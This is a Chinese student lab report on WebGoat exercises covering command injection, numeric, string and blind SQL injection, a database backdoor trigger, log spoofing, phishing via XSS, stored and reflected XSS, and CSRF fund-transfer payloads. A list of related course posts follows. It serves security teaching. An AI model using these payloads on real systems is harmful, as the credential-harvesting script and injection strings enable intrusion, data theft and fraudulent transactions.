20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13
《网络对抗技术》Exp9 Web安全基础 Week13
一、实验目标与内容
1.实践内容
- (1).本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
2.一些问题
- (1)SQL注入攻击原理,如何防御
答:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。防御手段:不允许提交含有特殊字符的字符串,加密数据库中的内容等。
- (2)XSS攻击的原理,如何防御
答:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。防御手段:表单提交的时候检测特殊字符的存在;消除网站的XSS漏洞,网站开发者运用转义安全字符手段等。
- (3)CSRF攻击的原理,如何防御
答:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。对于每一个重要的post提交页面,都使用一个验证码。每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击。定期清理cookie,甚至不使用cookie
二、实验步骤
安装WebGoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
1、在https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载
webgoat-container-7.0.1-war-exec.jar
,放到kali中。2、在命令行输入
java -jar webgoat-container-7.0.1-war-exec.jar
运行Webgoat,等待一小会后出现如下提示则运行成功。
3、在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面
4、使用页面下端任意一个账号密码进行登录,可以看到如下页面:
5、接下来就是在左侧选择各种选项进行相应的测试。
各种注入漏洞(Injection Flaws)
1、Command Injection(命令注入)
简介:命令注入就是通过在要提交的文本框中输入一些命令,提交后这些命令被执行,从而达到一定的目的。
(1)首先可以看到页面中有一个复选框,里面有很多选项,它们都是合法的
(2)我们要做的是通过修改源代码,在其中一个选项的后面添加一些指令,通过选择修改后的选项,点击
view
达到效果。(3)右击页面,选择
inspect Element
查看页面源代码进行修改,双击复选框中任意一栏的代码进行编辑,添加"& pwd"。(4)在复选框中选择该项,点击
view
,发现添加的命令被成功执行,攻击成功。
2、Numeric SQL Injection(数字型注入)
简介:通过在要提交的文本框中加入一些其他的逻辑条件,来在没有权限的情况下绕过权限的限制,得到更多的东西。
(1)首先在页面中我们可以看到这只是一个简单的天气查询,在复选框中选择一个城市,点击
go
后可以查看所选择的城市的天气。这里复选框中只有四个选项
(2)我们可以猜测,这里的数据库语句应该是在数据库中查找城市对应编号所在的行,然后输出天气。
(3)右击页面,选择
inspect Element
查看页面源代码进行修改,找到复选框代码所在位置后,双击对value="102"
进行修改,在后面添加or 1=1
。
(4)选择该城市,点击
go
。发现所有城市的天气信息都被输出,其中还有两个是选项里没有的。攻击成功
3、Log Spoofing(日志欺骗)
简介:在进行web攻击后,往往会在日志文件中留下自己的攻击痕迹。通过日志欺骗,可以伪造日志,消除或掩盖自己的攻击痕迹。
(1)在 username 中填入
zwy%0d%0aLogin Succeeded for username: admin
,其中%0d%0a是回车和换行符号的ASCII码,密码任意。点击登录,可以看到如下信息。
(2)这样看起来就好像是有一个账号admin登录了网页。但其实这是假的。攻击者可以利用这种方式向日志文件中添加恶意脚本。比如在用户名输入
admin <script>alert(document.cookie)</script>
并提交,那么管理员页面就会弹出一个cookies信息。
4、LAB: SQL Injection
这里有4个步骤,但是Stage 2和Stage 4仅适用于WebGoat的开发版本
Stage 1: 字符串型注入
目标是绕过登录。
(1)首先尝试选择管理员身份,密码输入
' or '1' = '1
。在密码输入的时候会发现这里设置了长度限制,' or '1' = '1
占13个长度,而密码框限制了输入长度为8(2)根据上面的经验可以判断出需要修改页面源代码。
(3)右击页面,选择
inspect Element
查看页面源代码。右击页面,选择inspect Element
查看页面源代码进行修改,修改密码框的长度为13。
(4)再次在密码框输入
' or '1' = '1
,发现这回没有被限制。点击登录后弹出如下提示,攻击成功
Stage 3: 数字型 SQL 注入
目标:使用员工Larry的身份,查看老板Neville的信息。
(1)先使用Stage 1的方法,绕过登录,查看Larry的信息。
(2)右键点击页面,选择
inspect Element
查看页面源代码,找到选项框中的信息Larry Stooge
所在的代码位置。(3)相关人员信息就是通过value中的值进行搜索的。通常来说老板的工资是最高的,工资字段一般都是
salary
,所以修改value为101 or 1=1 order by salary desc
,点击ViewProfile
,发现得到老板的信息,攻击成功。
5、String SQL Injection(字符串注入)
(1)这个网站可以查询用户的信用卡号码。这里较为简单,原理与上面的数字型注入相似。
(2)在用户名框输入
' or 1=1--
,点击go
,获得所有用户的信用卡号码
6、Database Backdoors(数据库后门)
(1)目标:创建一个数据库后门。尝试在输入查询id的同时注入命令增加工资。
(2)什么是数据库后门?数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如增删改查。比如:攻击者可以创建一个触发器, 使得创建新用户时将每个新用户的工资增加10000。
(3)这个网站的作用是输入用户id,返回用户相应信息。输入`
101
进行搜索,可以看到现在的工资是55000
(4)输入
101; update employee set salary=66666
修改工资为66666。
(3)输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET Salary=NEW.Salary+10000 WHERE userid = NEW.userid
,完成攻击。
注:CREATE TRIGGER myBackDoor是创建一个后门。BEFORE是在....之前。这条语句是在插入新的数据之前把新员工的工资项加10000后再放入数据库。
7、Blind Numeric SQL Injection(数字型盲注)
简介:一般来说, SQL 注入是没有明确返回信息的,这时候的注入就叫做盲注。
目标:找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。
(1)该网站允许输入一个帐号,并检测该帐号是否合法。如果合法(存在),则提示有效,否则提示无效。比如:
(2)这里我们可以利用AND。这样一来当AND两边恒为真时,才会提示有效,否则提示无效。
(3)接下来就是利用数据库语句进行测试来找出pin的id。在文本框输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
。发现无效,说明≤5000。(4)接下来通过不断地折半查找,得到pin为2364
8、Blind String SQL Injection(字符型盲注)
目标:与7相似,不过这里的pin字段变成varchar。
(1)同样的,利用AND。首先输入
101 AND (LENGTH(SELECT name FROM pins WHERE cc_number='4321432143214321') < 5)
测试一下pin的长度。显示
(2)继续进行尝试,发现长度是4。
(3)接着输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [n], [n]) < 'H' )
来不断对第n个字母进行确认。这里过程琐碎就不再列出。最后得到pin字段是Jill
跨站脚本攻击(XSS)
1、Phishing with XSS(使用 XSS 钓鱼)
简介:原理:当用户输入非法 HTTP 响应时容易造成 XSS,jsp代码被执行。
(1)右击页面,选择
inspect Element
查看页面源代码。右击页面,选择inspect Element
查看页面源代码进行修改,双击其中任意一个部分,插入</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
(2)搜索这段代码,出现如下界面
(3)输入任意,点击提交
2、Stored XSS Attacks(存储型XSS攻击)
简介:常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
(1)在title中任意输入字符,留言板中输入
<script>alert("You've been attacked!!!");</script>
,提交。(2)提交后可以看见在下方出现了一个以title命名的链接,点击后执行刚刚的html语句,攻击成功
3、Reflected XSS Attacks(反射型XSS攻击)
简介:攻击者使用攻击脚本创建一个URL,其访问另一个网站,通过各种方式来让受害者点击它。
(1)直接输入
<script>alert("You've been attacked!!!");</script>
,点击purse即可。
4、Cross Site Request Forgery (CSRF)(跨站请求伪造)
- (1)简介:让受害者加载一个包含网页的图片的一种攻击手段。
跨站点请求伪造(csrf/xsrf)是一种攻击,诱骗受害者加载包含img链接的页面,如下所示: 当受害者的浏览器试图呈现加载某个“图片”(实际上包含了对其他网站的请求)时,它将向www.mybank.com发出一个带有指定参数的TransferFunds.do页面请求。浏览器会认为链接是为了获取图像,即使它实际上是一个资金转移功能。该请求将包括与站点关联的所有cookie。因此,如果用户已经对站点进行了身份验证,并且拥有永久cookie,甚至当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,例如注销、购买物品或脆弱网站提供的任何其他功能。
(2)右侧Parameters中的src和menu值,分别为282和900
(3)标题任意,内容输入
<img src="http://localhost:8080/WebGoat/attack?Screen=282&menu=900&transferFunds=4000" width="1" height="1" />
,然后提交。(4)可以看到下方出现一个连接,可以点。点击后触发CSRF事件,攻击成功
5、CSRF Prompt By‐Pass(绕过 CSRF 确认)
(1)实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令
(2)与CSRF课程类似,您的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为“attack?Screen=XXX&menu=YYY&transferFunds=ZZZ”的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。当您认为攻击成功时,刷新页面。
(3)在title框中任意输入,message框中输入代码:
<iframe src="attack?Screen=297&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=297&menu=900&transferFunds=CONFIRM"> </iframe>
三、遇到的问题
- 1、启动WebGoat并登录后左侧没有相应栏。
- 解决方法:发现是因为jdk版本不匹配。下载1.8的jdk,设置好环境变量后解决了问题。参考https://www.jianshu.com/p/9ec7838411c8
四、心得体会
- 通过本次实验,学习了注入攻击和XSS攻击、CSRF攻击,了解了这些攻击的原理,进行了简单的尝试,感觉虽然没有学得很深入,但是很好地拓宽了知识面。
20165214 2018-2019-2 《网络对抗技术》Exp9 Web安全基础 Week13的更多相关文章
- 20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
20145226夏艺华 网络对抗技术 EXP9 web安全基础实践 !!!免考项目:wannacry病毒分析+防护 一.实验后回答问题 SQL注入攻击原理,如何防御 攻击原理 "SQL注入& ...
- 2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础
2018-2019-2 20165205 网络对抗技术 Exp9 Web安全基础 1.基础问题 SQL注入攻击原理,如何防御 原理: SQL注入指攻击者在提交查询请求时将SQL语句插入到请求内容中,同 ...
- 20155208徐子涵《网络对抗》Exp9 Web安全基础
20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- #20155232《网络对抗》Exp9 Web安全基础
20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研 ...
- 20155302《网络对抗》Exp9 Web安全基础
20155302<网络对抗>Exp9 Web安全基础 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 1.webgoat的安装启动 使用自己 ...
- 20155308《网络对抗》Exp9 Web安全基础实践
20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 SQL注入攻击原理,如何防御? 原理:攻 ...
- 20155323刘威良《网络对抗》Exp9 Web安全基础
20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoa ...
- 20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访 ...
- 20145233《网络对抗》Exp9 Web安全基础实践
20145233<网络对抗>Exp9 Web安全基础实践 实验问题思考 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
随机推荐
- Flink基本的API(续)
上一篇介绍了编写 Flink 程序的基本步骤,以及一些常见 API,如:map.filter.keyBy 等,重点介绍了 keyBy 方法.本篇将继续介绍 Flink 中常用的 API,主要内容为 指 ...
- .NET EF执行sql报数组超出了索引
使用ef查询,写sql语句的 一般情况报数组超出了索引都认为是[i]里面的值超出了,但是执行sql报超出了索引,让人很蒙 在网上找了半天也没有结果,后来只能自己来解决了. 在异常里面能看到dbnull ...
- H5页面基础元素
H5页面结构元素示例 <!DOCTYPE html> <html lang="zh"> <head> <meta charset=&quo ...
- ubuntu与centos系统对比
CentOS与Ubuntu该如何选择,哪个更好用.笔者在自媒体平台收集了一些网友的观点,较为经典,分享给大家.至于应该选择哪个,希望看完本文章后,读者心中有数. 观点1:CentOS适用于服务器,Ub ...
- 安装MySQL-8.0.13
安装1.去官网下载对应的MySQL版本http://downloads.mysql.com/archives/community/ 2.将下载下来的MySQL解压到你想要安装的目录下安装MySQL8. ...
- Java 之 JDK 1.8 新增日期时间类型
一.原来的日期时间 Java1.0中包含了一个Date类,但是它的大多数方法已经在Java 1.1引入Calendar类之后被弃用了.而Calendar并不比Date好多少.它们面临的问题是: ① 可 ...
- Flex,Flash,AS3,AIR的关系和区别
转自:http://www.admin10000.com/document/156.html 本文详细介绍了 Flash.Flex.AS3.AIR 的关系和区别.希望对初学者有帮助. AS3 Acti ...
- React Navigation 导航栏样式调整+底部角标消息提示
五一佳节匆匆而过,有人选择在外面看人山人海,有人选择宅在家中度过五一,也有人依然坚守在第一线,致敬! 这是坚持学习react-native的第二篇文章,可能会迟到,但是绝不会缺席,这篇要涉及到的是re ...
- current transaction is aborted, commands ignored until end of transaction block
current transaction is aborted, commands ignored until end of transaction block Error updating datab ...
- Ingress-Nginx
注意: 本文只用的ingress-nginx版本为0.24.1,可在官方网站自行下载 https://github.com/kubernetes/ingress-nginx 一.Ingress-Ng ...